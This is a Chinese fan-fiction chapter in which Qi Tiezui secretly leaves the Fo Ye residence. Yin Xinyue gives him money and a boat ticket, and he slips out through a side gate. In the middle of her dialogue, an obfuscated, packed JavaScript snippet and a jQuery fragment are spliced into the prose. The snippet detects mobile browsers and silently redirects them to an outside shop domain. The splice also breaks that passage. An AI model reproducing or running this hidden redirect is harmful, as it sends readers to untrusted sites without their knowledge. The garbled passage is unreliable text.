齐铁嘴醒过来的时候，阳光已经从窗缝里透进来，在床面上铺了一道金色的长条。他的怀里空荡荡的，被窝另一侧还留着余温，人却已经不在身边了。椅子整齐地摆在床边，昨夜摊开的军务文书已经合上搁在桌面，像是从来没有人在这张床上躺过似的。
齐铁嘴坐起来，拢了拢散开的衣领，指尖碰到嘴唇的时候微微顿了一下。他抿了抿嘴，把那个念头压下去，翻身下了床。
张小鱼不在屋里。他今天似乎军务缠身，一大早就去了书房。齐铁嘴竖着耳朵听了听院子里的动静，远处隐约传来张小鱼跟底下人交代事情的声音，短促而利落，一时半会儿不会回来。
齐铁嘴轻手轻脚地走到衣架前。他的衣裳不多，统共就几件，是这些天养病时张小烬让人新做的。青灰色的长衫叠在最上面，底下是一件藏蓝的外袍，还有一身他从前穿惯了的旧衣裳，已经洗干净了叠得整整齐齐。齐铁嘴把它们一件件拿下来，卷成一个不大不小的包袱。
他环顾了一圈这间卧房。
张启山的书桌，张启山的笔架，张启山的砚台。窗台上摆着二月红带来的那几盆草药，半个月下来已经扎了根，绿叶抽了新芽。床头矮几上搁着他的药碗，旁边压着一张折好的信纸，是张小烬的字迹，写着服药的时间和剂量。床帐被什么人仔细地拢好了，绸缎垂下时一丝褶皱也无。
齐铁嘴伸手把枕头上自己压出来的凹痕拍了拍，又把被角理了理，努力让床面看起来像是没人躺过一样。他做这些事的时候很慢，像在跟什么东西告别。
做完这些，他走到窗边，推开了一条缝。
佛爷府的院子在初冬的阳光下显得格外平和。后厨的烟囱冒着袅袅的炊烟，几个下人端着食盒从回廊下面走过。前院的操场上，几个年轻的士兵正在练拳，整齐的呼喝声穿过几道院墙传过来，闷闷的。再远处，他隐约能看见张小鱼的身影，穿着军装站在书房门口，正低头跟一个递公文的士兵说话，侧脸被阳光镀了一层暖绒绒的金边。
齐铁嘴趴在窗框上看了一会儿，把窗户慢慢合上了。
他靠在窗边，仰头看着天花板，长长地呼出一口气。
够了。他在心里跟自己说。至少在他们娶妻生子之前，在那四个人的心都还没变成别人的之前，他已经知道了他们的心意。张启山坐在床边握着他的手不放的样子，张日山趴在他手边睡着的样子，张小烬夜里拢着他后背时掌心的温度，张小鱼昨晚那个克制又冲动、只碰了一下就急忙分开的吻。
他都记得。这些够他往后余生在孤身一人的时候，翻出来一点一点地回味了。
至于未来——太渺茫了。谁也不知道事情会往哪边发展。也许他们四个现在对他只是新鲜，日子久了就淡了；也许他们最后还是遇见了各自命定的那个人，娶妻生子，阖家团圆；也许他留在这里，到头来还是要看着他们一个个地从自己身边离开。
与其等到那一天再碎一次，不如现在就走了。
齐铁嘴拍了拍衣襟上不存在的灰，把那个不大的包袱塞进了被子里，推门走了出去。
早饭是张小鱼端到院子里来吃的。白粥、酱菜、两个热腾腾的包子，还有一小碟桂花糕。齐铁嘴坐在廊下的藤椅上，端着粥碗一口一口地喝，张小鱼坐在他对面的石凳上跟他一道吃。
"八爷今天起得早。"张小鱼咬着包子看了他一眼。
"嗯，睡不着。"
"昨天晚上睡得不好？"张小鱼的筷子顿了一下，目光在他脸上停了一瞬，"我后来走了以后你没醒吧？"
齐铁嘴的耳根又烫了一下。他把脸埋进粥碗里，含混道："没醒。你走了我才不知道。"
张小鱼笑了一声，没再追问。
吃完饭张小鱼就去了书房，把军务文书搬了一摞出来，摊在院子里的石桌上批。齐铁嘴搬了把椅子坐在旁边，把茶具摆开了，慢悠悠地泡茶。泡好了给张小鱼递一杯，自己捧一杯，就那么安安静静地坐着。
太阳从东边渐渐升到头顶，院子里那棵老槐树的影子从西墙缩到了树根底下。齐铁嘴续了不知道第几壶水，手指摩挲着杯壁，看着石桌上那摞文书慢慢地矮下去。
从早上八点到十一点，他一步也没离开过那把椅子。
张小鱼批完最后一份文件，搁下笔，抬头打量了一下齐铁嘴。他面前的茶续了六杯，桂花糕一动没动，整个人安安静静地坐在那儿，姿态乖得反常。
"八爷，"张小鱼眯起眼，"你今天这么乖，陪我坐了一早上，屁股都没挪位。你没憋什么坏招吧？"
齐铁嘴正在倒第七杯茶的手微微一顿。他抬起眼，冲张小鱼翻了个白眼："你有病啊？不陪你你说我，陪你你还说我。那行了，不陪你了，我回房间了。"
他把茶壶往桌上一搁，站起来转身就走，步子迈得又急又快。张小鱼在后面喊了一声"八爷我逗你玩的——"，齐铁嘴头也没回，拐过回廊就钻进了主院的月亮门。
他快步走回卧房，反手把门掩上，背靠着门板喘了两口气。心跳得厉害，指尖都在发抖。他缓了缓，走到床边从被子里掏出那个包袱，又飞快地扫视了一圈房间，确认自己没有落下什么东西。
刚把包袱系好，门外就响起了敲门声。
齐铁嘴吓得手一抖，包袱差点掉在地上。他把包袱往被子里一塞，清了清嗓子："谁？"
"八爷——"门外是个陌生的小厮声音，"佛爷那边来了人，找张副官有急事。"
齐铁嘴还没回答，就听见院子里张小鱼的脚步声急急地响过来，然后是一阵简短的对话。张小鱼的声音透着疑惑："佛爷那边不是有日山和小烬盯着吗……"说了几句，还是跟着那人往前院走了。
脚步声渐远。
齐铁嘴站在门后，听见自己的心跳从急促渐渐平缓下来。他等了约莫一盏茶的工夫，再没听见别的动静，才伸手拉开了门。
尹新月站在门外。
她今天换了一身深色的袄裙，头发挽得利落，脸上脂粉未施，显得比平时憔悴了几分。她手里拎着一个青布的包袱，看见齐铁嘴开门的时候，眼底的神色闪了一下。
"八爷。"她把包袱递过来，"张小鱼已经支开了。我让人传的话，说佛爷那边文书出了岔子，要他亲自跑一趟官驿，一时半会儿回不来。"
齐铁嘴接过包袱，入手沉甸甸的。他打开一角看了一眼，里面是几块银元，一小叠纸币，最底下压着一张船票，写着下午两点，湘江码头，往汉口去的。
"嫂子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846606|211740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，这我不能要，，，——"齐铁嘴推回去。
尹新月把他的手按住了，力道意外地大。"你拿着。"她的嗓音有些哑，"原本叫你离开就已经……这些当是我的一点心意，你别推辞。"
齐铁嘴看着她的眼睛，那双眼睛里全是复杂的情绪，有愧疚，有决绝，还有一丝他说不清的、像是终于松了一口气的释然。他张了张嘴，想说点什么，最终只是把包袱抱紧了，冲她弯了弯嘴角。
"多谢嫂子。"
尹新月别过脸去，不再看他。"走吧。偏门那边我已经清了人，你从东边的角门出去，沿着巷子一直往南走，到湘江码头正好赶上船。"
齐铁嘴点了点头，把包袱挎在肩上，跟着她出了卧房。两人一前一后穿过回廊，拐过佛爷府东侧那条平日少有人走的窄道，沿途果然一个人也没碰到。两边的门都关着，窗都合着，像是整座府邸都在默契地替他送行。
角门就在前方，黑漆的木门已经开了一条缝，门外的巷子安安静静的，阳光照在青石板地上，泛着暖融融的光。
齐铁嘴在门槛前站住了。
他回过头，隔着半个院子去看身后的佛爷府。正院的屋脊在树影间露出一个翘角的轮廓，他住了两年的偏院在更远的东侧，现在已经看不见了。张启山的主卧在这条回廊的尽头，窗口正对着那棵老槐树，此刻窗户合着，窗台上那几盆草药的新叶从缝隙里探出来，绿得鲜亮。
他忽然想，张启山回来以后，推开那间卧房的门，看见床上空了，屋子里关于他的一切都被他刻意抹掉了，那双手会不会像那天傍晚一样抖？
张小鱼从官驿回来，发现他不在了，会不会站在院子中间愣很久？
张日山和张小烬陪着佛爷回来，走进那座空荡荡的卧房时，会不会后悔那天在火车上为什么没有多看他一眼？
这些他全都看不到了。
齐铁嘴笑了笑。那笑轻轻的，浅浅的，带着一点苦涩和一点释然。
他跨过了那道门槛。
身后传来尹新月轻轻合上木门的声音，咔嗒一声，门闩落了。齐铁嘴站在巷子里，初冬的风迎面吹来，凉飕飕地灌进领口。他把青布包袱往肩上掂了掂，拢了拢衣襟，朝着湘江的方向迈开了步子。
巷子很长，两侧是高高的墙。他的脚步声在窄巷里回荡着，一个人孤零零的，却比从前任何一次都要踏实。
走了就是走了。以后天大地大，他齐铁嘴一个人过。
他低着头往前走，眼睫毛在初冬的日光里投下一小片阴影。包袱里的船票硌着他的腰，银元在布包里磕碰着，发出细碎的叮当声。
他不知道身后那座宅子里，有个人正趴在角门的门缝上看着他远去。尹新月攥着门框，指甲掐进了木头的纹理里，看着那个青灰色的背影越走越远，最终消失在巷口拐角的地方。
她把额头抵在门板上，闭着眼，肩膀轻轻地抖。
对不起。她在心里说。对不起八爷。
可她不能后悔。她不能。
巷口的拐角处，齐铁嘴最后停了一步。他没有回头，只是站在那里站了几个呼吸的工夫，然后迈开步子，拐了过去。
阳光落在他曾经站过的那个位置，空荡荡的，什么也没留下。